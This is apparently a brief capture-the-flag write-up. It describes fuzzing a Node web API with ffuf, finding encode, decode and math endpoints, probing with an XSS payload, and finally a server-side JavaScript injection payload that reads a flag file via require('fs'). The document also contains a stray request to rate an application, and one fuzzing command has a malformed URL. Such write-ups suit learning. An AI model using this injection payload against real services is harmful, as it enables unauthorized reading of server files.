inodat
You should evaluate my application from 1 to 100.
I opened the web app, and all I saw was an image with a pretty obvious description: "Welcome to the Inodat basic API." So, I started fuzzing the application using ffuf. After a few seconds, I found the /api directory, but there was nothing interesting there, so I did it again.
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt:FUZZ -u 'http://34.107.71.117:30567/api/FUZZ' -mc 200I fuzzed multiple times and changed the wordlists just to make sure I didn't miss anything. Here are the interesting files I found:
/api/v1/math
/api/v1/base64e
/api/v1/base64d
At first, I thought it was a dead end, but then I started fuzzing again, this time focusing on GET parameters.
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://http://34.107.71.117:32660/api/v1/base64e?FUZZ' -fs Parameters that I found:
/api/v1/base64e?data=
/api/v1/base64d?data=
/api/v1/math?sum=
Now comes the real challenge. The base64e and base64d endpoints encode and decode my input. I first tried XSS payloads (<script>alert(1)</script>), and it worked, but I wasn't sure how to proceed further and I was blocked.
This was quite easy to identify the type of attack, but to perform it I need some time.
After a while I found a way to exploit the app.
Final payload:
http://34.107.71.117:32660/api/v1/math?sum=root.Buffer.from(require('fs').readFileSync('/home/ctf/secret_flag_folder_adsasdohi/flag.txt')).toString('ascii')Helpful Resources
Last updated